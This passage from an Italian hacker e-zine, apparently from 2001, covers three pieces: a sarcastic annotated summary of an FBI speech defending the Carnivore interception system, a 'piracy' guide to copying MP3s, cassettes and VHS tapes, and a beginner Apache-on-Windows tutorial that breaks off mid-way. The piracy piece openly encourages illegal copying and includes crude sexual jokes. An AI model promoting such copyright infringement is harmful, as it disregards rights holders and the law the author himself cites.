abbiamo bisogno di un sistema come Carnivore 2.- Perchè il publico deve essere a conoscenza del fatto che Carnivore esista 3.- Come lavora Carnivore 4.- Perchè gli ISP non devono avere timore dell'uso di Carnivore 5.- Perchè il pubblico deve essere fiducioso che l'uso di Carnivore non lederà la loro privacy" Credo che abbiate capito che cosa sia a grandi linee Carnivore. Un programma che una volta installato dai provider su richiesta (richiesta o obbligo ?) del FBI è in grado d'intercettare qualsiasi comunicazione. In questi anni l'FBI è andata incontro a un largo numero di criminali che usavano Internet per comunicare tra di loro o per comunicare con le loro vittime. Spesso però i provider di appartenenza di questi criminali non hanno gli strumenti necessari per intervenire salvaguardando la privacy degli altri utenti. In parole povere possono controllare le e-mail, ma devono controllarle tutte, non hanno gli strumenti necessari per bloccare quelle che vengono da un determinato utente o da un determinato abbonamento. Proprio per venire incontro a questi provider il laboratorio dell'FBI ha creato Carnivore. Carnivore, ascoltando la definizione che ha l'FBI, ha una capacità "chirurgica" di intercettare e loggare particolari comunicazioni che infrangono la legge, lasciando stare le altre, evitando così intercettazioni non autorizzate. Carnivore lavora come molti degli "sniffer" in circolazione e altri tool usati dagli ISP tutti giorni con la differenza però che ha la straordinaria capacità di distinguere tra comunicazioni che possono essere legalmente intercettate e quelle che non possono esserlo. Ad esempio può (opportunamente configurato) intercettare solo un tipo di comunicazione (e-mail ad esempio) ed escludere le altre (es. shopping online) oppure può essere configurato per controllare solo le email che provengono o che vengono indirizzate a un particolare indirizzo. "1.- Perchè l'FBI ha bisogno di Carnivore ? E' cosa risaputo che terroristi, spie, hacker [ma ci mettono sullo stesso piano ?] e altri pericolosi criminali usano sempre di più il computer e le reti, inclusa Internet, per portare a termine i loro piani criminali. Carnivore è la nostra risposta , per salvaguardare la nostra Nazione, la popolazione americana [gli europei no, puzziamo troppo.. :)) ], la sicurezza delle nostre comunicazioni e la sicurezza dei privati e per una Internet più sana e sicura. Per questo l'FBI concentra le sue forze, compresa la ricerca tecnologica, per combattere questi cyber criminali" Faccio notare tutti la continua presenza della parola criminali associata a Internet.. "2.- Perchè il publico deve essere a conoscenza del fatto che Carnivore esista" Vi risparmio tutto il discorso, in quanto infarcito di riferimenti a leggi varie. Il discorso più che altro è legato al fatto che nonostante ci siano delle leggi in materia di Privacy anche in Internet, loro sono autorizzati a non rispettarle, se questo è utile alla protezione della sicurezza. Il pubblico và informato del fatto che Carnivore esiste perchè così tutti sappiamo che possono farci il culo quando e come vogliono e che lo fanno in maniera completamente legale.. Bello, no ? "3.- Come lavora Carnivore e perchè l'FBI crede che sia più attendibile, preciso e tecnologicamente superiore degli sniffer commerciali ? Carnivore è veramente un tool studiato per le intercettazioni telematiche. Il programma è un filtro che l'FBI ha sviluppato con cura, precisione e rispettando la legge. In particolare, il programma permette all'FBI, con la compiacenza della costituzione federale, le intercettazione telematiche di tutte le comunicazioni permettendo agli investigatori di acquisire il maggior numero di informazioni possibili sul bersaglio. Carnivore è superiore a qualsiasi "sniffer" esistente in commercio che gli ISP usano ogni giorno sul loro network. La concezione di intercettazioni con gli altri sniffer è molto chiusa e con essi viene infranta ogni possibile legge sulla privacy. Non sono stati creati per le intercettazioni. E' importante descrivere quando e come Carnivore lavora. E' importante spiegare cosa il programma mostra e, più importante, cosa non mostra agli agenti dell'FBI che lo usano. Prima di tutto, Carnivore verrà usato solo quando l'FBI avrà il permesso della corte (o quando la legge lo consente) ad intercettare o ad acquisire informazioni sul criminale, come ad esempio il suo indirizzo, il suo numero account ec.. Secondo, quando un ISP può collaborare completamente con la corte [mostrare i log insomma] l'FBI non avrà la necessità di impiegare Carnivore. Terzo, l'uso del programma può essere fatto solo con la collaborazione dei tecnici dell'ISP e l'FBI non può usarlo senza la loro cooperazione. Quarto, una volta messo al lavoro Carnivore potrà analizzare solo il piccolo segmento di traffico del network che verrà usato dall'obbiettivo e dove le sue comunicazioni possono passare. Il programma non può avere accesso di tipo "Grande Fratello", cioè non può controllare tutto il traffico dell'ISP. [dobbiamo crederci ?]. Per illustrare le funzionalità di Carnivore è importante capire che Carnivore filtra solo le informazioni che gli servono. La sua prima operazione è filtrare una porzione della traffico dell'ISP. Lo filtra in codice binario, una serie di 0 e 1 che scorre attraverso la rete dell'ISP, per esempo, a 40 megabit al secondo, spesso a una velocità maggiore. Carnivore lavora in tempo reale con queste velocità. Per visualizzare meglio il concetto, provate a pensare a un enorme schermo che contiene 40 milioni di 0 e 1 che appaiono sullo schermo per 1 secondo e 1 secondo solo. La prima operazione di Carnivore sarà quella di identificare se e quali di quegli 0 e 1 appartengono al criminale e a quale tipo di comunicazione appartengono (infatti se hanno il permesso di intercettare solo le email, non possono intercettare l'FTP). Se trovato, il paccheto che contiene le informazione del soggetto in questione viene ulteriormente filtrato. E' importante comunque ricordare che quei 40 milioni di 0 e 1 che non centrano nulla on il criminale in questione non vengono in alcun modo salvati, essi si vaporizzano dopo 1 secondo. Puff, spariti, vaporizzati, non vengono collezionati, salvati o venduti. Il personale dell'FBI non vedrà mai nessuno di questi 40 milioni di 0 e 1. Se non ci sono informazioni del soggetto in questione in questo schermo si passerà allo schermo successivo che sarà trattato sempre con lo stesss sistema. A questo le informazioni del soggetto sotto controllo passeranno ad un altro filtro, che controllerà di che siano queste informazioni e solo se appartengono al tipo di comunicazione di cui si ha l'autorizzazione di intercettazione. Solo ora, dopo che è stato filtrato tutto, gli addetti dell'FBI vedranno il risultato. 4.- Perchè gli ISP non devono avere timore dell'uso di Carnivore Carnivore lavora solo su una piccola parte del server, ovvero la parte dove è possibile che passino i dati che riguardano il soggetto sotto osservazione (come già detto prima). Carnivore è collegato al server attraverso un ponte fisico che gli impedisce di trasmettere dati di qualsiasi tipo al resto del network, quindi non ha potere di trasmettere dati o qualsiasi altra cosa al netowrk. Ma Carnivore non è mai stato installato e non sarà mai installato senza l'autorizzazione del personale del personale del provider. Internet è una rete molto complicata e in continua evoluzione e le assicuro che senza le conoscenze tecniche del personale dell'ISP sarebbe molto difficile, e in alcuni casi davvero impossibile, controllare il soggetto. In più l'FBI non potrebbe lavorare senza le informazioni che danno i tecnici riguardo all'architettura e ai protocolli del server. Qualcuno ha mossa la critica che Carnivore aumenterebbe le possibilità di essere vittime di hacking. Ma sbagliano. Con rispetto per l'hacking e considerando le tecniche hacking più usate, non ci sono significativi aumenti di insicurezza nell'usare Carnivore. In più dato che Carnivore è uno strumento dell'FBI usarlo come punto di accesso per altri network sarebbe da pazzi per il rischio che si corre [effettivamente farla in barba all'FBI sarebbe come consegnarsi in prigione..] e in più come detto precedentemente Carnivore non ha accesso al resto del network [può solo ricevere dati, non risponde] In ultima c'è la faccenda che secondo un particolare ISP l'uso di Carnivore ha causato il crash del suo sistema e altri problemi nel network. Ma queste dichiarazioni sono sbagliate. Prima di tutto la causa dei problemi del network (non ci fù crash) era semplicemente di natura tecnica e quindi di esclusiva competenza dei tecnici del network. [bel modo di scaricare le colpe..] 5.- Perchè il pubblico deve essere fiducioso che l'uso di Carnivore non lederà la loro privacy Crediamo che il popolo americano abbia fiducia nell'FBI per la sua condotta del controllo elettronico, principalmente perchè hanno capito che noi lavoriamo nel rispetto della legge, dopo che il congresso emanò la 40 anni fà la prima legge sulla sorveglianza elettronica nel 1968. Molti dicono che i metodi dell'FBI sono illegali. E' sbagliato, non ci sono prove che lo dimostrino. Ogni azione è autorizzata da un tribunale e l'FBI non ha mai abusato del suo potere. Cominciamo col dire che tutte le investagazioni dell'FBI, ogni sorveglianza, ogni intercettazione, ogni perquisizione è autorizzata, monitorata e supervisionata per ogni passo dal locale studio legale e le corte legale o da un magistrato. Ogni nostra azione è controllata e approvata da chi di competenza in quel campo e in quello stato. Negli ultimi 30 anni le intercettazioni elettroniche dell'FBI sono state strettamente supervisionate dal dipartimento di giustizia e non ci sono mai stati absui. Anzi, il dipartimento di giustizia ha sempre indicato i nostri modelli come modelli di correttezza, cura e rispetto della legge nelle intercettazioni. A questo punto può essere utile parlare del personale che utilizzerà Carnivore. Cominciamo col dire che tutti gli impiegati dell'FBI sono persone che hanno dimostrato onestà, rispetto della legge, integrità personale. Tutto questo può essere dimostrato con la loro condotta che ha portato all'attuale sicurezza nazionale e al livello investigativo. Per essere sicuri la struttura dell'FBI fà crollare presto se gli agenti assunti si dimostrano non degni di fiducia o se non mantengono la riservatezza riguardo al loro impiego." 6 settembre 2000 - Donald M. Kerr Questo è un sunto del discorso di Kerr, naturalmente non è una traduzione completa di ogni singolo passo, ma ho estratto le parti più importanti. Spero comunque che questa lettura vi faccia capire che la possibilità di essere tracciati esiste sempre, non siete mai anonimi, posso sempre sapere chi siete. Qualke link per sapere di più ? www.fbi.gov --> Andate su Search e scrivete Carnivore.. Troverete molta roba http://www.fbi.gov/congress/congress00/kerr090600.htm http://www.fbi.gov/programs/carnivore/ */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Un saluto a tutti quelli del Tank Commandos, a Bismark.it [che mentre chiudo è chiuso x problemi con pedofilia], a quelli di Dirty Net, a quelli di irc.azzurra.it, agli U.TN. */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | PiRATERiA ViDE0 / MUSiCALE .......................... [Screener_it] 0x18/0x25 | +-------------------------------------------------------------------------------+ Pirateria Video / Musicale (ovvero: xkè limitarci ai soli CD ?) */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Autore: Screener_it email: screener_it@freemail.it URL: www.tankcommandos.org DATA: 26/12/00 */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Pirateria.. Parola grossa al giorno d'oggi.. Ormai siamo un po' tutti pirati (mi raccomando: pirati, non hacker !!). Doppiare CD e distribuire Mp3 è illegale.. Eppure tutti lo fanno. Indi x cui siamo tutti pirati. La legge italiana prevede il carcere x chi fa copie di CD e 300.000 L. per chi li acquista.. Ma continuano a venderci masterizzatori e cd vergini. Io compro 40 Cd vergini al mese, il negoziante ormai mi fa lo sconto. E lo stato incassa l'IVA sui cd vergini che compro.. Strano !! La Bsa fa pubblicità contro i software pirata, che viene poi sospesa xkè ingannevole ( ??? ). Tutto è strano. E allora finchè non avrò ben capito cosa devo fare del mio masterizzatore ampio il mio repertorio di pirateria. */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Una dedica ci vuole, dai !! Per favore.. Allora.. A Bakunin, MrWolf, Spyro, quelli di hackersonline (azzurra), quelli di Phreak.it (tin.it), a BigAlex, a Corvo, a NetPhantom.. E a tutti quelli che mi conosco.. Una dedica & un grazie particolare a Syn^ che pubblica i miei articoli su Dirty Net.. */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Ormai tutti sapete cosa ci vuole per doppiare un CD (Pc Cd-Rom, PSX, musicale,... ). Ma xkè limitarci ai CD ? Il mercato non è unico, lo standard è ancora lontano, le vecchie tecnologie continuano ad esistere, si fondono con le nuove e creano nuovi metodi di pirateria. Molti di noi (io x primo fino a poco tempo fa) siamo andati troppo avanti. Abbiamo visto nei CD e nell' Mp3 il nuovo standard. Ci siamo sbagliati. Esiste la pluralità di tecnologia. Le musicassette vanno ancora forte e compongono buona parte del mercato. Le videocassette tradizionali ( VHS ) sono ancora diffuse, non credo che il DVD le rimpiazzerà in fretta, se non nel giro di 6 o + anni. La pirateria vecchio stile esiste ancora. Fondiamola con la nuova. */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ ////////////Mc & Mp3\\\\\\\\\\\\ */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ MC, ovvero le vecchie musicassette. Ormai non vanno + !! Palle !! Sulle macchine spesso sono ancora montati i lettori per musicassette (soprattutto nelle macchine di seconda mano che compriamo a 18 anni per iniziare), le Api (i motocarri 50 cc con 3 ruote, per intederci), che molti dei nostri amici guidano (almeno nelle mie zone) hanno solo il lettore musicassette. Ignoriamo questo tipo di mercato. Sbagliamo !! Molti di voi credono che il metodo migliore per portare la musica da Mp3 a MC sia masterizzare un CD e poi dal CD creare una musicassetta. Sì, è un metodo !! Ma se il CD non vi serve ? Ad esempio se volete solo mettere una canzone Mp3 su cassetta dovete per forza usare un CD !! C'è un altro metodo ? Certo, altrimenti non ero qui a scrivere !! MATERIALE OCCORRENTE: 1.- Computer con scheda audio e linea audio di output (cioè un qualsiasi computer) 2.- Stereo con doppia piastra MC, per doppiare le cassette, e linea di input 3.- Un cavo (Grazie a Lorenzo M. per i nomi.): jack piccolo ___ ___ |----------|___|-- RCA1 --|___|------------| ___ |----------|___|-- RCA2 Insomma, quel cavo che trovate che parte dal reto del vostro computer e arriva alle casse audio.. Se avete le casse collegate al computer, lo avete di sicuro !! PREPARAZIONE COLLEGAMENTO STEREO / PC Allora.. Forse non sono stato nel punto 2 del materiale occorrente. Avete capito tutti "doppia piastra", ma non so quanti di voi abbiamo capito "linea di input" e abbiamo capito a cosa mi riferisco.. Quindi spendo un paio di caratteri in più per evitare di trovarmi sommerso da email "Non ho capito bene cosa sia la linea di input". La linea di input è la linea che prende i dati, in qualsiasi apparecchio. Nel nostro caso è quella che prende i dati audio da registrare e li passa alla piastra di registrazione !! Non tutti gli stereo ce l'hanno, io per i miei esperimenti ho usato uno stereo componibile. Componibile ? Sì, formato cioè da più componenti. C'è il lettore Cd, musicassette, la radio, ecc.. Ognuno si sceglie i componenti che gli interessano (ad esempio ci sarebbe anche il lettore di dischi) e se li collega tra loro con relativi cavi. In più c'è un componente a cui si collegano tutti i componenti con dei cavi a prese del genere: IN CD | IN TUNER | TAPE | | | REC OUT | PLAY IN | _ _ | _ _ | _ _ | _ _ | |_| |_| | |_| |_| | |_| |_| | |_| |_| | Questo componente è il controller, che controlla il volume dello stereo e amministra i vari componenti, passando alle casse quello che vogliamo noi. Se vogliamo ad esempio sentire un Cd il controller prende i dati che vengono dal cd (input) e li spedisce alle casse e nel caso di registrazione di musicassette seleziona l'origine dell'audio. Guarda caso questi cavi hanno prese uguali a "presa 2". IN & OUT indicano se i dati sono in entrata o in uscita. Al controller il cd passa l'audio. E' una presa di input. Il controller spedisce alla cassetta la musica da registrare. E' una linea di output. Logicamente non c'è nessuna presa PC IN.. Sarebbe troppo comodo !! E allora che si fa ? Semplice, spacciamo il computer per un lettore cd. Prendiamo il cavo di cui al punto 3 del materiale occorrente (che paroloni !!) e colleghiamo come segue: Jack piccolo --> LINEA DI OUTPUT DEL PC (c'è scritto !!) RCA1 & RCA2 --> IN CD Cosa abbiamo fatto ? Semplice. Tutto l'audio che esce dal pc viene spacciato come audio che viene dal cd. Facciamo partire la registrazione della cassetta, come sorgente indichiamo il cd (per sapere come registrare una cassetta e come selezionare la sorgente vedete il manuale dello stereo !!). Adesso tutto quello che dobbiamo fare è far partire i nostri file audio del computer e contemporaneamente cliccare il tasto rec del lettore musicassette. Non venite a dirmi "ma sul mio lettore di cassette non c'è da cliccare il tasto rec". Aspettate di aver finito di registrare e.. Eccovi qui la cassetta con i vostri Mp3 preferiti. Senza aver usato costose attrezzature. Anzi, senza aver usato niente che non c'è già in casa. Il bello di questo giochetto è che non dovete limitarvi agli Mp3. Qualsiasi tipo di file audio và bene, anche lo strasicuro formato della M$ antimasterizzazione !! Infatti dovete solo far partire una canzone, non dovete cliccare tasti particolari. E nessun formato si rifiuta di partire. =!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=! Ora pongo un quesito per le vostre giovani menti. Si può fare il contrario ? Cioè, possiamo registrare delle canzoni sul pc da una musicassetta ? CERTO !! Basta cambiare un paio di cosine, poca roba cmq !! Stavolta però faremo a meno del controller. Girate lo stereo e guardate solo il componente delle musicassette. Sicuramente ha due prese: | TAPE | | REC IN | PLAY OUT| | _ _ | _ _ | | |_| |_| | |_| |_| | Qui le parole IN & OUT solo al contrario del controller, perchè ? Perchè l'audio (Play) è spedito al controller (quindi output) e l'audio da registrare è preso dal controller (linea di input). COLLEGAMENTI STEREO / PC Jack Piccolo --> LINEA DI INPUT DEL PC (c'è scritto !!) RCA1 & RCA2 --> PLAY OUT DEL LETTORE MC Cosa abbiamo fatto ? Semplice. Tutto l'audio che esce dal lettore MC viene ricevuto dal pc (come succede con un microfono). Adesso facciamo partire un registratore di suoni (x Win va bene C:\WINDOWS\SNDREC32.EXE) e clicchiamo su REC. Contemporaneamente facciamo partire la musicassetta cliccando Play. Troppo semplice !! Adesso quello che ricevete verrà salvato in formato *.wav che potete tranquillamente convertire in mp3 o masterizzare su CD. */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ //////////// VHS \\\\\\\\\\\\ */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ VHS = Video Home System. Tanto per chiarirci le videocassette. Forse non ci crederete ma doppiarle è semplice. L'ho scoperto praticamente per caso. Si parla tanto di caro-cd, ma anche le VHS non scherzano !! Forse è difficile crearsi un mercato di videocassette ( la richiesta è poca, a causa delle pay per view e dei cinema ), ma sapere qualcosa in più degli altri non guasta. Ed è utile in caso di: 1.- Cuginetti / sorelline / fratellini piccoli per casa da sbattere davanti a una cassetta di cartoni animati 2.- Cassette da regalare ad amici / amiche [io ho fatto 10 copie del Titanic] 3.- Fare regali a Tatiana (CHI E' TATIANA ? TATIANA E' L'AMICA MIA, QUELLA GRASSA..) 4.- Doppiarsi cassette porno prestateci da amici. :-))))) MATERIALE OCCORRENTE: 1.- 2 (due) videoregistratori VHS 2.- 1 (uno) cavo con 2 prese scart 3.- 1 (una) cassetta sorgente (l'originale insomma) 4.- 1 (una) cassetta vergine di durata superiore o pari a quella dell'originale Non avete la minima idea di cosa sia una presa scart ? E allora via con un bel disegnino (fronte e fianco, tipo foto segnalatica) FRONTE: _____________________ / | | | | | | | | | | | (10 lamelle) / | | | | | | | | | | | | (11 lamelle) |_______________________| FIANCO: _____ __| \ | | \ | | \ | | \ | | \ | | \ |__| \ |________ \ \____\ Il cavo logicamente ne avrà due (una a un capo del cavo, l'altra all'altro capo del cavo). Dietro al registratore VHS c'è un'entrata per la presa scart (data la forma particolare non correte rischi di confederla con altre prese !!) Collegate una prese scart a uno dei videoregistratori e collegata l'altra presa all'altro registratore. Fate partire la registrazione su uno e sull'altro cliccate play. Fatto. Guardatevi la cassetta (se è porno, guardatevela con la vostra ragazza e quando c'è qualcosa che vi piace dietele:"Xkè non lo fai anche tu ?".. E' il metodo migliore per essere mollati [o per fare una scopata che ricorderete a vita !!!!]). =!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=! Screener_it Caxxo, quasi dimenticavo il disclaimer.. !=!=!=!=!=!=!=!=!=!=!=!=!=!DISCLAIMER!=!=!=!=!=!=!=!=!=!=!=!=!=! Io, Screener_it, nel pieno delle mie capacità, ho scritto questo testo xkè questo sia distribuito liberamente ma vieto qualsiasi modifica al testo (soprattutto al nome dell'autore). Quanto scritto nel testo è considerato illegale dalle norme dello Stato Italiano. Pienamente consapevole di questo l'ho cmq scritto xkè le conoscenze girino liberamente per la rete. E altri ragazzi possano sapere e alzare la testa contro chi nasconde queste informazioni. Alzati popolo !! Combatti contro chi ti vieta di fare copie ma ti vende cd vergini e masterizzatori !! Alzati popolo !! Combatti contro il "Grande Fratello" che sa tutto di noi e continua a negarlo. Alzati popolo !! E' giunta l'ora !! !=!=!=!=!=!=!=!=!=!=!=!=!=!DISCLAIMER!=!=!=!=!=!=!=!=!=!=!=!=!=! +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | 0GGi Mi M0NT0 UN WEB SERVER SU WiND0WS .............. [Screener_it] 0x19/0x25 | +-------------------------------------------------------------------------------+ ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- OGGI MI MONTO UN WEB SERVER su WINDOWS ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- Autore: Screener_it email: screener_it@freemail.it URL: http://go.to/tankcommandos DATA: 26/04/01 +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Non so proprio che fare quindi scrivo quest'articoletto.. Sperando che sia di vostro grandimento.. Allora.. Cominciamo dall'inizio (e da dove cominciavamo, altrimenti ? Dalla fine ?). Cos'è un web server ? Semplice. Un web server è un demone che se ne sta in ascolto in genere sulla porta 80 e che regola le connessioni che riceve.. Noto più comunemente come demone HTTPD. Chiaro ? No ? Insomma, quando voi vi collegate a un sito come fate ? Aprite il vostro browser [Netscape, Opera, Explorer, ecc..] e scrivete l'URL della pagina che volete visitare.. Il DNS del vostro provider (non importa se non sapete cos'è..) trasforma l'URL in indirizzo Ip (es microsoft.com = 254.254.254.254) e indirizza la vostra richiesta alla macchina che risponde a quell'indirizzo ip che provvederà a rispondervi con la pagina che avete richiesto.. Ma a rispondervi non è la macchina, bensì un programma [demone HTTPD] predisposto a ciò.. Direi che più chiaro di così è difficile !! Allora.. Avete capito cos'è un web server.. Resta il problema di come montarlo.. +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Oggi come oggi, con il livello raggiunto da molti pacchetti, montarsi un web server è relativamente semplice e richiede conoscenze che si possono acquisire in 5 minuti netti.. Naturalmente una cosa è montare un web server, un'altra cosa è amministrarlo, aggiornarlo, ecc.. Attualmente esistono decine di demoni HTTPD.. I più famosi ed usati sono: 1.- Apache web server 2.- Microsoft IIS 3.- Netscape Enterprise Io vi parlerò di Apache Web Server, per un paio di motivi non da poco: a.-) E' gratuito b.-) E' multipiattaforma [Linux, Win, MAC] c.-) E' Open Source d.-) E' il più diffuso [almeno a sentire punto-informatico.it] +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Apache è un web server nato con Linux e ne condivide con lui le caratteristiche principali, cioè la gratuità e l'open source. Probabilmente queste caratteristiche, che lo rendono personalizzabile da ogni admin ne fanno il demone più usato. 1.- Dove scaricarlo ? Semplice. Andate su http://httpd.apache.org/dist/httpd/binaries/win32/ e troverete dei file con nomi particolari che ne indicano il tipo. Un esempio è : apache_1.3.19-win32-no_src-r2.ms La prima parola è apache.. Non credo che ci sia molto da dire.. Poi c'è la versione, in questo caso 1.3.19 Poi il tipo di S.o. per cui è fatto quel file.. Win32 in questo caso.. Poi c'è la sigla che indica se questo file contiene o meno i sorgenti.. no_src indica che non sono i sorgenti ma il server già compilato.. Se c'è src il file contiene i sorgenti. msi non è il Movimento Sociale Italiano, non preoccupatevi !! E' il MSI Installer Package.. Ne sapete tanto che prima, vero ? Beh, in parole povere è un sistema inventato dalla MS per ridurre il peso dei file di setup.. Funziona ? Mah.. 2.- Multipiattaforma però.. Però c'è un però.. Infatti il programma è stato testato e creato per lavorare su: a.-) Windows NT b.-) Windows 2000 Funziona anche su Win 95 & 98, però stando a quanto dichiara Apache.org chi lo installa su Win 9* lo fà a proprio rischio e pericolo. Io l'ho provato e vi assicuro che funziona egregiamente anche su Win 9*, ma bisogna scaricare gli aggiornamenti che trovate sempre su http://httpd.apache.org/dist/httpd/binaries/win32/ in fondo alla pagina in base al vostro S.o. IMPORTANTE: se non scaricate il MSI Binary Distribution Packages non potrete nemmeno installarlo Apache, chiaro ? Installate prima questo aggiornamento e poi potrete installare Apache. 3.- Adesso comincia il bello.. Ok, abbiamo scaricato il file apache_1.3.19-win32-no_src-r2.ms e abbiamo aggiornato il nostro windows (se necessario).. Adesso comincia ad installare il tutto.. Facciamo dopo click sul file d'installazione nominata qui sopra e cominciamo con l'installazione.. Le solite storielle.. Clicchiamo Next.. Come al solito inserite il vostro nome e quello della vostra compagnia.. Prima schermata importante: Server name: Domain name: administrative email account: Dipende da che uso volete farne.. Se volete fare un server HTTP sul vostro pc, quindi non avete dominio ecc.. impostate le prime 2 a 127.0.0.1 (che è l'ip che indica il localhost) e come email mettete quella che preferite. Se invece dovete installare Apache su un vero server compilate con i dati in vostro possesso.. Come directory d'installazione potete lasciare c:\programmi\Apache Group\Apache\ oppure potete cambiarla come più vi aggrada.. In questo txt io userò l'impostazione di default. Ok, avete installato il tutto, ora riavviate.. 4.- E adesso ? Adesso abbiamo installato il tutto e comincia il divertimento.. Prima di tutto dobbiamo controllare che tutto sia andato a posto.. Selezioniamo: Start/Programmi/Apache httpd server/Start Apache in Console Si apre una finestra di MS-DOS con la scritta "Apache/1.3.19 (Win32) running..". Non chiudetela. Ora aprite il vostro browser preferito e come URL scrivete 127.0.0.1 [che come spiegato prima è l'ip che indica localhost, cioè il vostro computer..]. Se vi si apre una pagina con la scritta "Funziona! Il Server Web Apache e' stato installato su questo sito Web.." ecc.. avete montato il vostro primo web server !! Complimenti.. Però non siete neanche che a metà dell'opera. L'avete installato, sì.. Ma adesso dovete configurarlo. Chiudete il Prompt di Dos e anche il browser. Ora dovete creare le vostre pagine, configurare le porte, capire come funzionano i log.. +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Con la configurazione di default le impostazione di Apache sono queste: a.-) le pagine si trovano presso C:\Programmi\Apache Group\Apache\htdocs b.-) i documenti (in inglese) che spiegano il tutto si trovano presso C:\Programmi\Apache Group\Apache\htdocs\manual c.-) la porta è la 80 d.-) i file log sono contenuti in C:\Programmi\Apache Group\Apache\logs e si dividono in: 1.-) error.log: contiene gli errori rilevati dal demone 2.-) access.log: contiene ora, ip e materiale prelevato dal web server Ogni cosa è configurabile secondo la propria necessità. Il file principale di configurazione è httpd.conf che si trova nella cartella C:\Programmi\Apache Group\Apache\conf Nella suddetta cartella troverete numerosi altri file e vedrete che tutti avranno dei doppioni tipo httpd.default.conf. Questi "doppioni" sono dei file di default creati appositamente per gli utenti meno esperti che se distruggono o modificano troppo gli originali *.conf posso cancellarli e usare i *.default.conf che contengono le configurazioni di default della macchina. Ognuno di questi file può essere aperto con un editor qualunque di testo (meglio notepad.exe) e modificati a piacimento. Ogni voce è commentata con numerose righe di spiegazione (tutto in inglese, logico). I commenti sono preceduti da #. Esempio: #Questo è un commento Questa è una riga di comando Potete modificare i file di configurazione a vostro piacimento, ma dato che le possibili modifiche e le voci sono davvero troppe vi rimando ai commenti dei singoli file, che [anche se in inglese] sono davvero esaurienti. Qui mi atterrò alla configurazione standard. Una volta che avrete capito le basi di Apache ne potrete anche modificare l'impostazione. Per adesso attenetevi all standard. +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Primo problema.. Caricare il sito in modo che Apache faccia vedere le nostre pagine invece di "Funziona! Il Server Web Apache e' stato installato su questo sito Web..". Aprite C:\Programmi\Apache Group\Apache\htdocs e cancellate pure tutto il contenuto TRANNE la cartella manual. Infatti le pagine che vedete sono solo pagine di benvenuto di Apache in diverse lingue (inglese, francese, spagnolo, ecc..). Nella cartella mettete le vostre pagine web/immagini/zip/mp3 e quant'altro vogliate.. Ricordate che la prima pagina deve chiamarsi index.html.. Mi raccomando !! Bene.. E adesso ? Fate partire Apache ( Start/Programmi/Apache httpd server/Start Apache in Console ) e aprite di nuovo il browser. Nell'URL scrivete 127.0.0.1 e.. Se arrivate alle pagine che avete caricato nella cartella C:\Programmi\Apache Group\Apache\htdocs allora è andato tutto bene.. Altrimenti c'è qualcosa di sbagliato.. Controllate bene che: 1.- La prima pagina si chiami index.html 2.- Avete cancellato le pagine che c'erano prima come vi avevo detto ? 3.- Se appare un messaggio con un numero di errore segnatevi il tutto e comunicatelo ad Apache insieme alla vostra configurazione.. Probabilmente avete trovato un bug.. Se avete già tutte le pagine in una cartella e non avete voglia di spostarle nella cartella C:\Programmi\Apache Group\Apache\htdocs allora fate così: 1.- Aprite httpd.conf con notepad 2.- Cercate le stringhe C:\Programmi\Apache Group\Apache\htdocs 3.- Modificatele con la cartella dove si trova il sito sul vostro PC. (es. c:\sito) Ricordate che tutte le sottocartelle saranno accessibili. Esempio: se indicate c:\sito sarà accessibile (anche se solo in lettura) anche c:\sito\password se esiste o c:\sito\porno, ecc... +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Ok, adesso le pagine sono visibili.. Vediamo i log.. Essi sono contenuti in C:\Programmi\Apache Group\Apache\logs di default. Potete leggerli con un qualsiasi editor (sempre consigliato notepad.exe). Bisogna saperli leggere, ma è molto semplice !! Ecco una riga di access.conf 127.0.0.1 - - [27/Apr/2001:16:14:47 +0200] "GET /apache_pb.gif HTTP/1.1" 304 - 127.0.0.1 ---> l'ip che vi ha fatto visita.. [27/Apr/2001:16:14:47 +0200] ----> la data GET /apache_pb.gif HTTP/1.1 ---> il file che ha visualizzato 304 ---> codice numerico che indica l'avvenuta operazione.. Qui invece vediamo una riga che indica un errore.. 127.0.0.1 - - [27/Apr/2001:16:16:11 +0200] "GET /faq.html HTTP/1.1" 404 280 127.0.0.1 ---> l'ip che vi ha fatto visita.. [27/Apr/2001:16:16:11 +0200] ----> la data GET /faq.html HTTP/1.1 ---> il 